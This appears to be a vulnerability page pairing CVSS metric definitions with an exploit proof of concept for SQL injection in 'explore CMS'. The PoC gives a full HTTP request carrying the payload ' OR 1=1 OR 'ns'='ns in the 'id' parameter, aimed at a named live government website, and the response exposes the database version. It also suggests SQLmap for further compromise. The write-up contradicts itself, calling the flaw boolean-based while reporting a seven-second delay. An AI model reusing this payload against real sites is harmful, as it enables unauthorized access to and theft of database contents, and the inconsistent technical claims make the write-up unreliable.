The vulnerable system is bound to the network stack and the set of possible attackers extends beyond the other options listed below, up to and including the entire Internet. Such a vulnerability is often termed “remotely exploitable” and can be thought of as an attack being exploitable at the protocol level one or more network hops away (e.g., across one or more routers). An example of a network attack is an attacker causing a denial of service by sending a specially crafted TCP packet across a wide area network (e.g., CVE-2004-0230).
Attack Complexity
Low
AC
The attacker must take no measurable action to exploit the vulnerability. The attack requires no target-specific circumvention to exploit the vulnerability. An attacker can expect repeatable success against the vulnerable system.
Privileges Required
None
PR
The attacker is unauthenticated prior to attack, and therefore does not require any access to settings or files of the vulnerable system to carry out an attack.
Scope
Unchanged
S
An exploited vulnerability can only affect resources managed by the same security authority. In the case of a vulnerability in a virtualized environment, an exploited vulnerability in one guest instance would not affect neighboring guest instances.
Confidentiality
High
C
There is total information disclosure, resulting in all data on the system being revealed to the attacker, or there is a possibility of the attacker gaining control over confidential data.
Integrity
High
I
There is a total compromise of system integrity. There is a complete loss of system protection, resulting in the attacker being able to modify any file on the target system.
Availability
High
A
There is a total shutdown of the affected resource. The attacker can deny access to the system or data, potentially causing significant loss to the organization.
# Exploit Title: explore CMS - Boolean Based SQL Injection
# Date: 19/03/2022
# Exploit Author: Sajibe Kanti
# Vendor Name : EXPLORE IT
# Vendor Homepage: https://exploreit.com.bd
# CVE: On Request
# POC
#SQL Injection
SQL injection is a web security vulnerability that allows an attacker
to interfere with the queries that an application makes to its
database.
explore CMS is vulnerable to the SQL Injection in 'id' parameter of
the 'page' page.
#Steps to reproduce
Following URL is vulnerable to SQL Injection in the 'id' field.
GET /page.php?id=1%27%20OR%201%3d1%20OR%20%27ns%27%3d%27ns HTTP/1.1
Host: www.gdc.gov.bd
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: en-us,en;q=0.5
Cache-Control: no-cache
Cookie: PHPSESSID=b4c39f2ff3b9470f39bc088ab9ba9320
Referer: https://www.gdc.gov.bd/
User-Agent: Mozilla/5.0 (Windows NT 10.0; x64) AppleWebKit/537.36
(KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
HTTP/1.1 200 OK
content-encoding:
server: LiteSpeed
Connection: Keep-Alive
Keep-Alive: timeout=5, max=100
content-type: text/html; charset=UTF-8
transfer-encoding: chunked
date: Thu, 17 Mar 2022 07:27:21 GMT
vary: Accept-Encoding
10.3.34-MariaDB
Server accepts the payload and the response get delayed by 7 seconds.
#Impact
An attcker can compromise the database of the application by manual
method or by automated tools such as SQLmap.
--
Thanks
Sajibe Kanti